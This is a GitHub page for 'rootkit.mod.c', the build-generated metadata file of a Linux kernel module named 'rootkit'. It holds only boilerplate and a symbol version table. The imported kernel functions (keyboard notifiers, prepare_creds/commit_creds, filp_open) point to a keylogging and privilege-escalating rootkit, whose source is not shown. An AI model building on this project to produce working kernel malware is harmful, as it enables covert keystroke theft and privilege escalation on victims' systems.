-
Notifications
You must be signed in to change notification settings - Fork 5
/
rootkit.mod.c
43 lines (37 loc) · 1.38 KB
/
rootkit.mod.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
MODULE_INFO(vermagic, VERMAGIC_STRING);
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ 0xc6c01fa, __VMLINUX_SYMBOL_STR(module_layout) },
{ 0x9ed554b3, __VMLINUX_SYMBOL_STR(unregister_keyboard_notifier) },
{ 0x96554810, __VMLINUX_SYMBOL_STR(register_keyboard_notifier) },
{ 0xbd9210be, __VMLINUX_SYMBOL_STR(filp_close) },
{ 0x823de7ac, __VMLINUX_SYMBOL_STR(filp_open) },
{ 0x37a0cba, __VMLINUX_SYMBOL_STR(kfree) },
{ 0x5b7c78a8, __VMLINUX_SYMBOL_STR(pv_cpu_ops) },
{ 0x81fcd7c8, __VMLINUX_SYMBOL_STR(kmem_cache_alloc_trace) },
{ 0x92a94ad2, __VMLINUX_SYMBOL_STR(kmalloc_caches) },
{ 0xfcac2710, __VMLINUX_SYMBOL_STR(commit_creds) },
{ 0x721db075, __VMLINUX_SYMBOL_STR(prepare_creds) },
{ 0x69acdf38, __VMLINUX_SYMBOL_STR(memcpy) },
{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
{ 0x1e6d26a8, __VMLINUX_SYMBOL_STR(strstr) },
{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
MODULE_INFO(srcversion, "02FD1512F63217CBA338927");